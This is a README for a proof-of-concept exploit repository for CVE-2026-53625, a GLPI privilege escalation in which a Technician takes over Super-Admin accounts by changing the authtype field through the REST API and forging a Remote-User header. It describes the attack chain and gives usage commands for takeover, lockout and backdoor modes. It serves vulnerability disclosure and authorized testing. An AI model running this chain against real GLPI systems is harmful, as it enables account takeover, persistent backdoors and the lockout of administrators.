
GLPI Privilege Escalation via authtype Manipulation PoC - CVE-2026-53625. Ethical PoC for the GLPI vulnerability allowing a Technician to take full control of any Super-Admin account through REST API authtype manipulation.
This repository provides an ethical Proof-of-Concept (PoC) for CVE-2026-53625, a High severity privilege escalation vulnerability in GLPI affecting all versions from 0.70 through 11.0.7.
A low-privilege user (Technician) can take full control of any account, including
Super-Admin, by manipulating the authtype field through the REST API.
The attack chains three weaknesses to achieve complete account takeover with
persistent backdoor creation.
Official advisory: GHSA-94rp-v9f2-5rj7
GLPI does not check privilege levels when a user updates another user's record via
the REST API. The authtype field is not protected, and changing it to
EXTERNAL causes GLPI to automatically blank the victim's password.
Combined with a forgeable SSO header (Remote-User), this allows full
account takeover.
POST /apirest.php/initSession)
GET /apirest.php/User)
authtype to EXTERNAL (4) via
PUT /apirest.php/User/{id} — GLPI blanks the password automatically
(User.php:1277)
Remote-User: {victim} HTTP header to obtain a session
as the victim — no password needed
Without SSO configured: the attack still works as a DoS — the victim's password is blanked and they are locked out. No SSO required for this impact.
This PoC is for educational and authorized testing only. Use only on systems you own or where you have explicit permission. The author and contributors are not responsible for misuse.
Clone the repository:
git clone https://github.com/7h30th3r0n3/CVE-2026-53625-GLPI-PoC.git
cd CVE-2026-53625-GLPI-PoC
Dependencies: bash, curl, python3, openssl
The PoC supports two attack modes:
# Full takeover chain (default) — requires SSO with forgeable header:
./poc_authtype_takeover.sh --auto http://glpi.local tech P@ss
# DoS only — lock out admin, no SSO needed:
./poc_authtype_takeover.sh --lockdown --auto http://glpi.local tech P@ss
# Safe mode — prove chain on sacrificial user, zero impact on real accounts:
./poc_authtype_takeover.sh --safe --verbose http://glpi.local tech P@ss
# Full takeover + restore victim afterward:
./poc_authtype_takeover.sh --backdoor --restore --restore-pass 'NewPass!' --auto http://glpi.local tech P@ss
Run ./poc_authtype_takeover.sh --help for all options.
Vulnerability discovered and PoC developed by 7h30th3r0n3.